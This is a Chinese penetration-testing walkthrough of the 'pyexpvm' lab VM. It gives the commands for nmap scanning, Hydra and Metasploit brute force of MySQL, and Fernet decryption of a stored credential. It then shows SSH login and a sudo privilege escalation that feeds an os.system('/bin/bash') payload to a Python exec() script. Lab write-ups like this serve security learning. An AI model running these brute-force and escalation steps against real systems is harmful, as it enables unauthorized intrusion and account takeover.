渗透测试——pyexpvm靶机详细提权过程(MSF框架,Hydra数据库爆破,SUDO提权)

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


靶机简介

这里我们还是先进行靶机的网络配置:

随后打开Kali,开始接下来的渗透测试:

Kali的相应地址为:192.168.44.131

目标机器网段:192.168.44.0/24

所以接下来我们首先需要得到目标机器的准确IP地址;


信息收集

可以使用多种工具:

bash 复制代码
nmap -sP 192.168.44.0/24

结果如下:

我们可以看到:192.168.44.132192.168.44.129等两个IP均可进行连通,所以这应该是目标机器的IP地址;

所以要进行详细点信息收集,看其开放了哪些端口以及服务:

bash 复制代码
# 有结果
nmap -sC -sV -A -T4- -p- 192.168.44.132

结果如下:

很明显,192.168.44.132才是目标机器的IP地址,并且开放了两个端口以及服务;

  • 1337/tcp :提供远程 SSH 登录服务,用于系统远程管理与命令执行。
  • 3306/tcp :运行 MariaDB 10.3.23(兼容 MySQL 协议) ,提供 数据库服务,用于存储和管理应用数据。

没有Web服务,我们就少了一个渗透的切入点,当然开放的这两个服务也可以;(难度增加了一点)

SSH漏洞尝试

这里因为没有账号密码,所以我们可以利用nmap 尝试其是否存在漏洞以及信息:

bash 复制代码
# 查看 SSH 支持的算法和配置
nmap -p1337 --script ssh2-enum-algos 192.168.44.132

#SSH 用户枚举
nmap -p1337 --script ssh-auth-methods 192.168.44.132

# SSH 弱口令爆破
hydra -l root -P rockyou.txt ssh://192.168.44.132 -s 1337

# 多用户爆破:
hydra -L users.txt -P passwords.txt ssh://192.168.44.132 -s 1337

很显然,并没有成功:

数据库漏洞尝试

我们还是先进行数据库信息的收集:

bash 复制代码
# 数据库信息收集
nmap -p3306 --script mysql-info 192.168.44.132

# 枚举数据库:
nmap -p3306 --script mysql-databases --script-args mysqluser=root,mysqlpass=root 192.168.44.132

# 枚举用户:
nmap -p3306 --script mysql-users --script-args mysqluser=root,mysqlpass=root 192.168.44.132

结果如下:

mysql-info 返回的信息

信息 含义
Protocol 10 MySQL协议版本
Version 10.3.23 MariaDB版本
Auth Plugin mysql_native_password
SupportsMultipleStatements 支持多语句
SupportsLoadDataLocal 支持本地文件加载

说明:

  • 服务器是 Debian 10 默认 MariaDB
  • 使用传统认证插件
  • 支持 LOAD DATA LOCAL(有时可用于攻击)

因为没有有效信息,所以我们只能尝试对其进行账号密码爆破:

漏洞利用(爆破数据库)

方法一:Hydar爆破数据库账号密码

这里我们使用常见的数据库user名以及密码作为列表,尝试进行爆破:

执行命令,得到如下用户名:

bash 复制代码
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 192.168.44.132 

用户名列表:

随后尝试爆破:(密码字典/usr/share/wordlists/rockyou.txt

bash 复制代码
# MySQL弱口令爆破
hydra -L user.txt -P /usr/share/wordlists/rockyou.txt mysql://192.168.44.132

当然也可以用MSF进行爆破;

方法二:使用MSF尝试爆破数据库

首先进入MSF框架,设置好目标IP以及进程thread数量:

bash 复制代码
# 设置参数
msfconsole -q
use auxiliary/scanner/mysql/mysql_login
set rhosts 192.168.44.132
set user_file /home/ok/Sec_tools/users.txt

# set pass_file /home/ok/Sec_tools/user.txt
set pass_file /usr/share/wordlists/rockyou.txt 
set threads 5
run

注意:速度比Hydra快多了

成功爆破出密码:

账号:root

密码:prettywoman

--

后渗透:提权

MSF收集数据库信息(登陆后)

随后分别执行下述命令:

bash 复制代码
# 枚举数据库 版本信息和服务器Banner,用于识别数据库类型和版本。
use auxiliary/scanner/mysql/mysql_version

-------拥有数据库权限后,可利用的提取模块---------

# 在拥有数据库登录凭据后 导出 mysql.user 表中的密码哈希
use auxiliary/scanner/mysql/mysql_hashdump 

# 使用已知账号密码 枚举数据库信息(用户、权限、数据库、服务器信息等)
use auxiliary/admin/mysql/mysql_enum

# 拥有凭据后 导出数据库结构(表、字段、schema)
auxiliary/scanner/mysql/mysql_schemadump

# 数据库运行在 Windows 且拥有高权限账户,可通过修改 启动项执行系统命令。
exploit/windows/mysql/mysql_start_up

注意:在每个模块中都需要设置

  • RHOSTS
  • USERNAME
  • PASSWORD

数据库版本:MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1

如果不熟悉MSF框架,我们也可以尝试手动进行收集;

手动信息收集

登陆数据库:

bash 复制代码
# 手动连接数据库
mysql -h 192.168.44.132 -u root -p

结果如下:

手动数据库信息收集常用命令如下:

  • 查看当前数据库:show databases
  • 选择数据库:use 数据库名;
  • 查看当前数据库中的表:show tables;
  • 查看表结构:desc 表名;
  • 查询表中所有数据:select - from 表名;
  • 限制查询数据数量:select - from 表名 limit 10;
  • 查看数据库用户:select user,host from mysql.user;

结果如下:

在数据库 data 里发现了一条记录,其中:

  • cred:看起来是 Fernet 加密后的密文
  • keyy:对应的 Fernet 密钥

因为 Fernet 是对称加密,只要有密钥就可以直接解密。所以接下来的思路就是 导出密文和密钥 → 本地解密。

python 复制代码
from cryptography.fernet import Fernet

key = b"UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0="
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="

f = Fernet(key)
print(f.decrypt(token).decode())

把密文和密钥复制下来后,将其进行解密;

得到账号密码:lucy / wJ9`"Lemdv9[FEw-

而这个很有可能就是SSH远程登陆的账号密码,尝试一下:

bash 复制代码
# SSH 登录命令
ssh lucy@192.168.44.132 -p 1337
输入密码 wJ9`"Lemdv9[FEw-

果然不出所料,成功进入:

发现了一个文件:user.txt

获取root权限---SUDO提权

随后尝试提权,常见的方法有SUID,SUDO,cron定时任务 等提权方法(其中的详细步骤可以看我这个系列的其他文章,相信对你有所帮助~)

bash 复制代码
# 查看 sudo 权限
sudo -l

#  查看 SUID 程序
find / -perm -4000 2>/dev/null

# 查看定时任务
cat /etc/crontab
ls -al /etc/cron*

# 查看系统版本
uname -a
cat /etc/os-release

# 查看可写目录
find / -writable -type d 2>/dev/null

这里经过尝试,发现存在SUDO提权:

exp.py内容如下:

bash 复制代码
lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

代码分析:

这个脚本就是 经典 Python2 提权漏洞,原因在于:

python 复制代码
uinput = raw_input('how are you?')
exec(uinput)

关键点:

  • raw_input() 会读取用户输入
  • exec()执行输入的 Python 代码
  • 该脚本又能通过 sudo 以 root 权限运行

所以实际上等价于:

复制代码
root 权限执行你输入的 Python 代码

这就是 RCE → root 提权 🚀


执行命令如下:

bash 复制代码
sudo /usr/bin/python2 /opt/exp.py

会提示:

复制代码
how are you?

输入:

python 复制代码
import os; os.system("/bin/bash")

如果成功,你会得到 root shell

漏洞的本质:这是一个 Python exec 命令执行漏洞

复制代码
用户输入 → exec() → root 执行

成功getshell


完整攻击链总结

复制代码
nmap 扫描
↓
MySQL 3306 未授权 / 弱口令
↓
数据库发现 Fernet 加密凭据
↓
解密得到 lucy SSH 密码
↓
SSH 登录
↓
sudo python2 exp.py
↓
exec() 命令执行
↓
root shell

期待下次再见;

相关推荐
翱翔的苍鹰1 小时前
LangChain是一个主流的大语言模型(LLM)应用开发框架,核心功能是连接大模型与外部资源/工具。
网络·人工智能·python·深度学习·语言模型
rgb2gray1 小时前
论文详解 | HDAM:破解 MAUP 的城市出行需求分析新方法,实现关键驱动精准识别
人工智能·python·llm·大语言模型·需求分析·多模态·maup
wuyaolong0071 小时前
PostgreSQL 中进行数据导入和导出
大数据·数据库·postgresql
夕除1 小时前
MySQL--008
数据库·mysql
___波子 Pro Max.1 小时前
Python容器类型差异操作
python
weixin199701080161 小时前
淘宝客商品详情页前端性能优化实战
java·前端·python·性能优化
正在走向自律1 小时前
Oracle 替换工程实践深度解析 —— 从技术落地到生产级平稳迁移
数据库·oracle·国产化替代·金仓kingbasees
草根站起来1 小时前
OCSP中国泛域名SSL证书申请
网络·网络协议·ssl
zb200641201 小时前
Redis的Spring配置
数据库·redis·spring